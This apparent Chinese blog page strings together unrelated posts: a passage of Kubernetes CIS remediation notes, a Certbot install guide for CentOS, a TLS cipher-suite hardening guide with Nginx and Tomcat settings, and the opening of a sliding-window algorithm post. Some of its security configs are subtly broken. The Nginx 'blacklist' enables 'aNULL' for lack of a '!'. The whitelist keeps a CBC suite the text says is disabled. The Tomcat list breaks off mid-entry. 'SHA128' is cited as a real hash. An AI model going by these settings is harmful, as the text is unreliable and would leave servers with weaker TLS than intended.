修复方案:按照 Kubernetes 文档并配置 EncryptionConfig 文件。然后,在主节点上编辑 API 服务器 pod 规范文件 /etc/kubernetes/manifests/kube-apiserver.yaml 并将 –encryption-provider-config 参数设置为该文件的路径:–encryption-provider-config =</path/to/EncryptionConfig/File>

影响:待验证,看起来更变密钥似乎会对apiserver读取数据有影响 https://kubernetes.io/zh/docs/tasks/administer-cluster/encrypt-data/

1.2.34 Ensure that encryption providers are appropriately configured
描述:在使用 etcd 加密的地方,应该配置适当的提供者。

修复方案:按照 Kubernetes 文档并配置 EncryptionConfig 文件。在此文件中,选择 aescbc、kms 或 secretbox 作为加密提供程序。

影响:与1.2.33 为一个问题,可以同步修复

1.2.6 Ensure that the –kubelet-certificate-authority argument is set as appropriate
描述:在建立连接之前验证 kubelet 的证书,kubelet和apiserver使用https进行通信

修复方案:设置 apiserver 和 kubelets 之间的 TLS 连接,并设置apiserver 的参数 –kubelet-certificate-authority=/etc/kubernetes/pki/apiserver-kubelet-client.crt

影响:apiserver 和 kubelets 上配置 TLS

1.3.1 Ensure that the –terminated-pod-gc-threshold argument is set as appropriate
描述:设置终止pod收集数量,当前默认是12500才会进行回收

修复方案:设置/etc/kubernetes/manifests/kube-controller-manager.yaml 的参数 –terminated-pod-gc-threshold为合适的值

影响:基本无

1.3.2 Ensure that the –profiling argument is set to false
描述:是否打开controller-manager的性能分析功能

修复方案:/etc/kubernetes/manifests/kube-controller-manager.yaml 设置–profiling=false

影响:基本无,分析信息将不可用

1.3.7 Ensure that the –bind-address argument is set to 127.0.0.1
描述:不要将kube-controller-manager绑定到127.0.0.1之外的IP

修复方案:/etc/kubernetes/manifests/kube-controller-manager.yaml 并设置–bind-address=127.0.0.1

影响:基本无

1.4.1 Ensure that the –profiling argument is set to false
描述:是否打开kube-schedule的性能分析功能

修复方案: /etc/kubernetes/manifests/kube-scheduler.yaml 设置–profiling=false

影响:基本无,分析信息将不可用

2.1 Ensure that the –cert-file and –key-file arguments are set as appropriate - cert
描述:etcd服务配置tls

修复方案: /etc/kubernetes/manifests/etcd.yaml 配置–cert-file和–key-file

注:其实已经配置,不过文件路径不符合期望–cert-file=/etc/kubernetes/pki/apiserver-etcd-client.crt

影响:无

3.1.1 Client certificate authentication should not be used for users
描述:client的认证不应该使用证书,例如 OIDC 的使用,应该替代客户端证书。

修复方案: 去除apiserer中的参数client-ca-file

影响:客户端无法使用证书进行访问,需要进一步评估

5.2.4 Minimize the admission of containers wishing to share the host network namespace
描述:通常不允许容器使用hostnetwork

修复方案: 创建禁止使用node节点网络的PSP

影响:集群内使用hostnetwork的系统组件都要使用nodeport或者其他形式进行暴露

5.2.7 Minimize the admission of containers with the NET_RAW capability
描述:通常不允许使用具有潜在危险的 NET_RAW 功能的容器

修复方案: 创建 PSP,确保将 .spec.requiredDropCapabilities 设置为包含 NET_RAW 或 ALL。

影响:带有以 NET_RAW 功能运行的容器的 Pod 将不被允许

5.2.8 Minimize the admission of containers with added capabilities
描述:通常不允许具有超出默认设置的分配能力的容器

修复方案:确保 allowedCapabilities 不存在于集群的 PSP 中,除非它被设置为空数组。

影响:带有需要超出默认设置的能力的容器的 Pod 将不被允许。

参考

  1. Troubleshoot-failed-audit-compliance-scans
  2. 如何使用nessus启动合规性扫描 官网
  3. 具体如何配置Nessus的合规扫描文件 具体操作
  4. 下载nessus策略的原始文件 包含cis等多个标准

证书管理工具之letsencrypt

1 SSH 进入服务器

以具有 sudo 权限的用户身份通过 SSH 连接到运行您的 HTTP 网站的服务器。

2 安装 snapd

您需要安装 snapd 并确保按照任何说明启用经典 snap 支持。
按照snapcraft 网站这些说明安装 snapd

(1)将 EPEL 添加到 CentOS 7

可以使用以下命令将 EPEL 存储库添加到 CentOS 7 系统:

$ sudo yum install epel-release

(2)安装 snapd

将 EPEL 存储库添加到您的 CentOS 安装后,只需安装snapd包:

$ sudo yum install snapd

当出现以下图片安装失败,原因为图中可以看到EPEL 存储库存储库中的snapd版本为2.49,但是最新版本为2.51,只有最新版本才有rpm包,因此获取失败,主要因为yum版本过低,应该升级yum版本即可yum -y upgrade;yum -y update

1627006806810

如下yum版本和内核版本可以成功安装snapd

1627006157537

可以看到存储库中的snapd是最新版本2.51,安装成功

1627006992635

安装后,需要启用管理主 snap 通信套接字的systemd单元:

$ sudo systemctl enable --now snapd.socket

要启用经典snap 支持,请输入以下内容以在/var/lib/snapd/snap和之间创建符号链接/snap

$ sudo ln -s /var/lib/snapd/snap /snap

注销并重新登录或重新启动系统以确保正确更新 snap 的路径。

3 确保您的 snapd 版本是最新的

在机器上的命令行上执行以下说明,以确保您拥有最新版本的snapd

$ sudo snap install core

1627007070131

$ sudo snap refresh core

1627007140412

4 删除 certbot-auto 和任何 Certbot OS 包

如果您使用aptdnfyum等操作系统包管理器安装了任何 Certbot 包 ,则应在安装 Certbot snap 之前将其删除,以确保在运行命令 certbot 时使用的是 snap,而不是从您的操作系统包安装经理。执行此操作的确切命令取决于您的操作系统,但常见示例是sudo apt-get remove certbotsudo dnf remove certbotsudo yum remove certbot

如果您之前通过 certbot-auto 脚本使用过 Certbot,您还应该按照此处的说明删除其安装。

5 安装certbot

在机器上的命令行上运行此命令以安装 Certbot。

sudo snap install --classic certbot

6 准备 Certbot 命令

在机器上的命令行执行以下指令,确保certbot命令可以运行。

sudo ln -s /snap/bin/certbot /usr/bin/certbot

7 选择您希望如何运行 Certbot

  • 要么获取并安装您的证书…

    运行此命令以获取证书并让 Certbot 自动编辑您的 Nginx 配置以提供服务,只需一步即可打开 HTTPS 访问。

    sudo certbot --nginx

1627010116619

  • 或者,只需获得证书

    如果您感觉更保守并希望手动更改 Nginx 配置,请运行此命令。

    sudo certbot certonly --nginx

http://archery-sec9002.eniot.io/

8 测试自动续订

您系统上的 Certbot 软件包带有一个 cron 作业或 systemd 计时器,它们将在您的证书到期之前自动更新您的证书。除非您更改配置,否则您无需再次运行 Certbot。

您可以通过运行以下命令来测试证书的自动续订:

sudo certbot renew --dry-run

9 如果该命令正确完成,您的证书将在后台自动更新。

确认 Certbot 工作:要确认您的站点设置正确,请在浏览器中访问https://yourwebsite.com/并在 URL 栏中查找锁定图标。

CentOS/RHEL 7 上的 Nginx

centos中安装snapd

安全的TLS协议

在实际应用中,应用不安全的密码协议可能会导致被黑客攻击,因此本文从各个角度给出不同安全级别的密码套件推荐。

1 算法结构安全性分析

1625552647924

1) 密钥交换算法

密钥交换算法是用于交换对称密钥的公钥系统

Examples: ECDHE, DHE, RSA, ECDH, DH,ADH,PSK

RSA,ECDH,DH,PSK均不具有前向安全性,一旦私钥丢失,则以往所有的通信内容将会泄露,使用前向安全性算法(ECDHE,DHE),可以避免这种问题。

ADH为Anonymous DH,匿名DH算法,不提供身份验证,禁用。

PSK算法是预存key在客户端和服务端,因为PSK必须要预置密钥,这个预置的过程就代表了服务端已经知道有哪些客户端需要访问了,所以基于PSK的TLS适合在内部系统中使用,而不适合在公网环境用来提供Web服务。

另外,因为DH1024 在理论上是可以破解(Logjam攻击)的,虽然破解难度和成本极大,但是也存在一定的风险,所以要求使用DH-2048且 不是初始默认值.

推荐使用安全密钥交换算法:ECDHE,DHE(2048)

2)身份认证算法

服务器在 SSL/TLS 握手中使用的算法来签署(使用服务器的私钥)在协商中发送给客户端的算法。

客户端可以使用服务器的公钥对它们进行身份验证。

Examples include: RSA, ECDSA, DSS (aka DSA), and Anonymous.

DSA只支持1024bits,不安全算法

推荐使用安全认证算法:RSA(2048以上)、ECDSA

3)加密算法

一种更改消息以使其保密的方法。

Examples: DES (Data Encryption Standard), 3DES (Triple DES), AES (Advanced Encryption Standard), ChaCha20,RC4 (Rivest Cipher 4), Camellia, ARIA,RC6, RC2, Blowfish, Twofish, IDEA, SEED, GOST, Rijndael, Serpent, MARS, etc.

ChaCha20是一种流加密算法,实现较为简单,并且比纯软件实现的AES性能更好。

在支持AES指令的硬件平台上,推荐优先选择AES-GCM算法,不支持AES指令的硬件平台,ChaCha20性能优于AES

Camellia算法支持128比特的分组长度,128、192和256比特的密钥与AES的接口相同,Camellia算法128比特密钥的加、解密过程共有18轮,采用Feistel结构,加、解密过程完全相同,只是子密钥注入顺序相反

Camellia算法由NTT和Mitsubishi Electric Corporation于2000年联合开发,作为欧洲新一代的加密标准。与AES算法相比,Camellia算法在各种软硬件平台上表现出与之相当的加密速度。除了在各种软件和硬件平台上的高效性这一显著特点,它的另外一个特点是针对小规模硬件平台的设计

推荐使用安全的加密算法:AES256, ChaCha20, Camellia

4) 密码工作模式

例如:CBC and GCM

GCM 代表 Galois/Counter Mode,一种比 CBC 更高级的操作模式。

它还对困扰 CBC 的攻击类别免疫,例如填充(野兽、幸运 13 等)

AES-GCM 的主要缺点是它仅在 TLSv1.2 修订版中添加,因此任何不支持 TLSv1.2 的旧客户端都无法使用它。

推荐使用安全的工作模式:GCM

5) MAC(Hash Function)

简而言之,MAC 提供消息完整性。 散列函数包括 MD5、SHA-1(又名 SHA)、SHA-2(又名 SHA128、SHA256 和 SHA384)和 AEAD(具有关联数据的身份验证加密)。 MD5 早已变得完全不安全并且已被弃用。 SHA-1 现在正受到浏览器的“羞辱”,因为它成为加密攻击进步的受害者。 鼓励尽快迁移到 SHA-2。

SHA1存在碰攻击,如果HTTPS证书使用sha1,则会存在中间人攻击;

推荐使用安全的Hash算法:sha256,sha384

如下几个过时的加密原语必须禁止使用:

(1)匿名Diffie-Hellman(ADH)套件不提供身份验证。

(2)NULL加密套件不提供加密。

(3)导出加密套件在连接协商时不安全,但也可以针对更强大的套件(FREAK攻击)的服务器使用。

(4)弱密码(通常为40和56位)的套件使用可以轻松被攻击。

(5)RC4是不安全的。

(6)3DES运行缓慢且易被攻击。

2 SSL/TLS协议安全

SSL/TLS系列中有五种协议:SSL 2,SSL 3,TLS 1.0,TLS 1.1,TLS 1.2和TLS1.3。

SSL2和SSL3已经非常过时了,建议不要使用。从理论上来讲,TLS 1.0也不应该被使用,但在实践中经常被使用。截至目前,TLS 1.1,1.2和TLS1.3都还没有什么安全问题,但只有 1.2提供了现代的加密算法。所以TLS 1.2应该是被使用的主要协议,因为它是唯一提供现代认证加密(也称为AEAD)的版本

TLS1.3协议:从2014年4月,第0份TLS 1.3草案公开,到2017年7月第21份草案发布,TLS 1.3的编写工作已经进入尾声,跨时3年的编写,让该协议成为有史以来最安全、也是最复杂的TLS协议。2018年6月15日,IETF发布 TLS v1.3 draft 23,正式的RFC虽然尚未发布,TLS 1.3已经开始被国内外一些网站使用,Chrome、Firefox、OpenSSL、Nginx等均提供了相应支持,TLS 1.3已经悄然进入我们的生活

推荐使用安全的协议:TLS1.2,TLS1.3

3 算法套安全级别划分

算法套的安全级别可以分为高中低三个等级,每个级别的算法套也按安全级别从搞到低排序

HIGH

“高级别”加密密码套件。 这目前意味着密钥长度大于 128 位的那些密码套件,以及一些具有 128 位密钥的密码套件。

MEDIUM

“中等”加密密码套件,目前其中一些使用 128 位加密。

LOW

低强度加密密码套件,目前使用 64 或 56 位加密算法但不包括导出密码套件。 从 OpenSSL 1.0.2g 开始,这些在默认构建中被禁用。

4 TLS1.2 安全密码套推荐

4.0 根据证书去选择密码套件

当服务器配置ECC证书时,加密套件只能选择XXX_ECDSA_XXX或者ECDH_XXX。

当服务器配置RSA证书时,只能选择RSA_XXX或者ECDHE_RSA_XXX形式的加密套件。

需要注意的是,如果加密套件选择ECDH_RSA或者ECDH_ECDSA时,由于ECDH加密套件默认表明了握手需要ECC证书(即ECC证书的公钥充当握手中server key exchange中的公钥,证书的私钥同样也是握手过程中的私钥,握手过程不需要server key exchange),所有第二部分RSA和ECDSA表明的是想要的上级签发该类型的服务器证书。

如果加密套件选择ECDHE_XXXX,则第二部分RSA和ECDSA指的是用来签名握手中server key exchange中传过来的秘密值的签名算法。

4.1 密码套件选择原则

  • 支持的SSL/TLS版本:TLS1.2,TLS1.3(禁用SSLV3 TLS1.0和TLS1.1)
  • 密钥交换算法禁用DH,ADH,优选DHE(2048)和ECHDE,保留RSA(原则上禁用)
  • 认证算法使用:RSA和ECDSA,禁用none
  • 对称加密算法使用:AES, Camellia, ChaCha20, 禁用DES, 3DES, RC4,SEED
  • 工作模式推荐:AES-GCM, ChaCha20_POLY1305,j禁用CBC
  • MAC算法:SHA384,SHA256,禁用SHA1,MD5

4.2 TLS1.2 安全密码套件

针对TLS1.2,推荐以下3种程度安全要求的密码套件:

(1)TLS1.2密码套件中满足前向安全性,禁用CBC的算法套推荐如下所示

TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 RSA证书
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 RSA证书
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 RSA证书
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 RSA证书
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 ecc证书
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 ecc证书

(2)在1的安全要求下,考虑效率,因为DHE算法效率低,通常不建议。则满足前向安全,禁用CBC,保证高效率推荐的算法套如下所示:

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384

(3)在(2)的要求基础上,严格意义上128位的加密算法AES并不能保证安全性,对于安全性要求高的,则满足前向安全,禁用CBC,密码长度要求的,保证高效率推荐的算法套如下所示:

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384

5 Web服务配置

5.1 nginx配置

在安装目录下,修改配置文件

白名单形式(注意此ciphersuite格式只适用于Nginx,Tomcat的格式是TLS_XXX_XXX_WITH_XXX_XXX_XXX_XXX):tls1.3加3套tls1.2

Ssl_ciphers ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA:!DSS;

黑名单形式:

​ HIGH:aNULL:!ADH:!DH:!DSA:!DES:!3DES:!SEED:!RC4:!MD5:!CBC;

备注:

因为nginx是否支持TLS1.3,取决于编译依赖的openssl库是否支持TLS1.3; 且需要重新编译,添加依赖项;所以nginx服务器是否支持TLS1.3的算法套,不仅需要配置还需要编译时加入TLS1.3的依赖。

5.2 Tomcat配置

白名单,可以参考配置:

sslProtocol=”TLSv1.3,TLSv1.2”
SSLCipherSuite=”TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,

TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256,
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
黑名单:

sslProtocol=”TLSv1.3,TLSv1.2”
SSLCipherSuite=”HIGH:!MD5!EXP:!NULL:!ADH:!CBC:!DH:!DSS”

参考:

使用 TLS v1.2 及更早版本配置密码套件列表

附录:所有密码套件

TLS1.3 密码套件

TLS13-AES128-GCM-SHA256
TLS13-AES256-GCM-SHA384
TLS13-CHACHA20-POLY1305-SHA256
TLS13-AES128-CCM-SHA256
TLS13-AES128-CCM-8-SHA256

TLS1.2 密码套件

TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DH_RSA_WITH_AES_128_CBC_SHA256
TLS_DH_RSA_WITH_AES_256_CBC_SHA256
TLS_DH_RSA_WITH_AES_128_GCM_SHA256
TLS_DH_RSA_WITH_AES_256_GCM_SHA384
TLS_DH_DSS_WITH_AES_128_CBC_SHA256
TLS_DH_DSS_WITH_AES_256_CBC_SHA256
TLS_DH_DSS_WITH_AES_128_GCM_SHA256
TLS_DH_DSS_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_DSS_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_AES_256_CBC_SHA256
TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
TLS_DHE_DSS_WITH_AES_256_GCM_SHA384
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_DH_anon_WITH_AES_128_CBC_SHA256
TLS_DH_anon_WITH_AES_256_CBC_SHA256
TLS_DH_anon_WITH_AES_128_GCM_SHA256
TLS_DH_anon_WITH_AES_256_GCM_SHA384

滑动窗口相关题目

前言

滑动窗口

什么是滑动窗口?

其实就是一个队列,比如例题中的 abcabcbb,进入这个队列(窗口)为 abc 满足题目要求,当再进入 a,队列变成了 abca,这时候不满足要求。所以,我们要移动这个队列!

如何移动?

我们只要把队列的左边的元素移出就行了,直到满足题目要求!